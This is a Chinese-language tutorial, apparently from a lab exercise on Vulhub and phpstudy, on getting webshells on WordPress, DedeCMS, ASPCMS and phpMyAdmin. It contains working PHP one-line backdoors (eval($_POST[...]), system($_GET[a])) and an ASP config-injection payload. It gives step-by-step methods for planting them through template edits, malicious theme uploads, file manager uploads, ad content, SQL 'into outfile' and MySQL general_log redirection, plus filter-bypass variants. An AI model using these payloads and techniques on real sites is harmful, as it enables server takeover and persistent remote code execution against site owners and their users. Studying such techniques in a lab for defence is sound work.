常⻅CMS漏洞

⼀：WordPress

WordPress是⼀个以PHP和MySQL为平台的⾃由开源的博客软件和内容管理系统。WordPress具有插件架构和模板系统。截⾄2018年4⽉，排名前1000万的⽹站中超过30.6%使⽤WordPress。 WordPress是最受欢迎的⽹站内容管理系统。全球有⼤约30%的⽹站(7亿5000个)都是使⽤WordPress 架设⽹站的。WordPress是⽬前因特⽹上最流⾏的博客系统。WordPress在最著名的⽹络发布阶段中脱颖⽽出。如今，它被使⽤在超过7000万个站点上。

》》环境部署《《

进⼊Vulhub靶场并执⾏以下命令开启靶场

#执⾏命令
cd /vulhub/wordpress/pwnscriptum
docker-compose up -d
#靶场地址
http://192.168.4.176:8080/wp-admin/

》》漏洞复现《《

方法⼀：后台修改模板拿WebShell

步骤一：思路是修改其WP的模板写⼊⼀句话⽊⻢后⻔并访问其⽂件即可GetShell；登陆WP后点击【外观】 --》【编辑】 --》 404.php

<?php phpinfo();eval($_POST['cmd']);?>

方法⼆：上传主题拿WebShell

步骤一：首先点这里下载主题--->将木马程序拖到压缩包里

<?php @eval ($_POST[a]); ?>

步骤二：接着上⼀个环境使⽤...将带有后⻔的⽂件加⼊到主题中并将主题压缩为ZIP⽂件...点击【外观】 --》【主题】 --》【添加】 --》【上传主题】 --》【浏览】 --》【现在安装】

如果这个安装包不行就在换一个。

步骤三：安装成功后访问主题下的⽹站后⻔⽂件

二、DeDeCMS

DedeCMS是织梦团队开发PHP ⽹站管理系统，它以简单、易⽤、⾼效为特⾊，组建出各种各样各具特⾊的⽹站，如地⽅⻔户、⾏业⻔户、政府及企事业站点等。

》》》漏洞复现《《《

方法⼀：通过⽂件管理器上传WebShell

shell.php文件内容

<?php
phpinfo();
@eval ($_POST[cmd]);
?>

步骤一：登陆到后台点击【核⼼】 --》【⽂件式管理器】 --》【⽂件上传】将准备好的⼀句话代码上传...OK

方法二：修改模板⽂件拿WebShell

步骤⼀：与WPCMS类似，直接修改模板拿WebShell...点击【模板】 --》【默认模板管理】 - -》【index.htm】 --> 【修改】在⽂件修改中添加⼀句话代码...如下

步骤⼆：点击【⽣成】 --》【更新主⻚HTML】 --》将主⻚位置修改为【.../index.php 】--》点击【⽣成静态】 --》点击【更新主⻚】再次访问站点⾸⻚可发现变化...

步骤三：访问页面--->用蚁剑连接shell

方法三：后台任意命令执⾏拿WebShel

步骤⼀：点击【模块】 --》【⼴告管理】 --》【增加⼀个新⼴告】 --》在【⼴告内容】处添加⼀句话代码--》点击【确定】

步骤⼆：点击【代码】--》在图中显示的路径与站点进⾏拼接...访问测试!

方法四：SQL命令行执行拿WebShell

步骤一：系统---->SQL命令行工具

select  "<?php phpinfo();@eval($_POST[cmd]);" into outfile "E:/phpstudy_pro/WWW/DedeCMS/uploads/shell4.php"

三、ASPCMS

ASPCMS是由上⾕⽹络开发的全新内核的开源企业建站系统，能够胜任企业多种建站需求，并且⽀持模版⾃定义、⽀持扩展插件等等，能够在短时间内完成企业建站。

》》》漏洞复现《《《

方法⼀：后台修改配置⽂件拿Shell

步骤⼀：访问以下地址为ASPCMS...并登陆到后台（这⾥注意在搭建站点的时候注意权限问题）

#⽹站后台
http://192.168.30.134:81/admin_aspcms/login.asp //全功能版本
#账户密码
username:admin
password:123456

步骤⼆：点击【扩展功能】 --》【幻灯⽚设置】 --》点击【保存】 --》开启代理进⾏抓包

步骤三：在抓取的数据包中修改 slideTextStatus 字段的值为以下代码并进⾏发包查看被修改的asp ⽂件内容...

#字段值
1%25><%25Eval(Request (chr(65)))%25><%25 密码是a 
#影响⽂件
/config/AspCms_Config.asp

四、PhPMyadmin

》》环境部署《《

下载phpstudy的PhPMyadmin

登录PhPMyadmin

》》漏洞复现《《

方法⼀：通过⽇志⽂件拿Shell

利⽤mysql⽇志⽂件写shell，这个⽇志可以在mysql⾥改变它的存放位置，登录phpmyadmin可以修改这个存放位置，并且可以修改它的后缀名。所以可以修改成php的后缀名就能获取⼀个webshell 。

SQL 复制代码

show global variables like '%general%';
set global general_log='on';  #⽇志保存状态开启；
set global general_log_file = 'E:/phpstudy_pro/WWW/log.php'  #修改⽇志的保存位置。
show global variables like '%general%';
select '<?php eval($_POST["admin"]);?>';

#bypass：
select+'<?php+phpinfo();+?>'
select+'<?php+//%0Aphpinfo();+?>'

修改日志保存位置后，查询后日志会保存在该文件

方法⼆：导⼊导出拿WebShell

思路：通过SQL语句拿webshell ⽤ into outfile 把后⻔写到⽹站⽬录上。

SQL 复制代码

1.⾸先判断mysql位置
select @@datadir
路径：E:\phpstudy_pro\Extensions\MySQL5.7.26\data\
2.猜测web路径
猜测web路径：E:\phpstudy_pro\www
E:\phpstudy_pro\www\web.php
3.写webshell
select "<?php @eval($_POST[a]);?>" into outfile 'E:/phpstudy_pro/www/shell.php';
select "<?php system($_GET[a]);?>" into outfile 'E:/phpstudy_pro/www/d.php';
4.浏览器
http://192.168.2.8/d.php?a=dir ..\
select "<?php phpinfo();@eval($_POST[a]);?>" into outfile 'C:\phpStudy\WWW
\web.php';
备注：/
不要⽤\,如⾥要⽤\\（转义）